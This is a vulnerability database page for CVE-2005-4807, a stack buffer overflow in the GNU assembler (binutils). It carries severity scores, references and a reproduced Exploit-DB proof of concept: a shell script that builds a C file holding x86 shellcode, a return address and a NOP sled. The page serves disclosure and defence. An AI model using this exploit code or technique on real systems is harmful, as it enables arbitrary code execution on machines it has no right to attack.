CVE-2005-4807 : Detail

CVE-2005-4807

Overflow
1.14%V3
Network
2006-08-18
17h55 +00:00
2006-09-02
07h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack-based buffer overflow in the as_bad function in messages.c in the GNU as (gas) assembler in Free Software Foundation GNU Binutils before 20050721 allows attackers to execute arbitrary code via a .c file with crafted inline assembly code.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 28397

Publication date : 2006-08-16 22h00 +00:00
Author : Tavis Ormandy
EDB Verified : Yes

source: https://www.securityfocus.com/bid/19555/info GNU binutils GAS (GNU assembler) is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. Remote attackers may crash the application or execute arbitrary machine code in the context of the application. #!/bin/sh # # gas overflow poc, <taviso@gentoo.org> returnaddr='\xc4\xea\xff\xbf' shellcode='\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/id' printf '#include <stdio.h>\n' printf '#define EGG "%s"\n' "$shellcode" printf '#define RET "%s"\n' "$returnaddr" printf '#define NOP "%s"\n' "`perl -e 'print "\\\x90"x100'`" printf '#define PAD "%s"\n' "`perl -e 'print "A"x1990'`" cat << __EOF__ #include <stdio.h> int main (int argc, char **argv) { __asm__ (PAD RET NOP EGG); } __EOF__

Products Mentioned

Configuraton 0

Gnu>>Binutils >> Version To (excluding) 2.17

Configuraton 0

Canonical>>Ubuntu_linux >> Version 5.04

Canonical>>Ubuntu_linux >> Version 5.10

References

http://www.osvdb.org/27960
Tags : vdb-entry, x_refsource_OSVDB
http://www.ubuntu.com/usn/usn-336-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/21508
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/19555
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2006/3307
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/21530
Tags : third-party-advisory, x_refsource_SECUNIA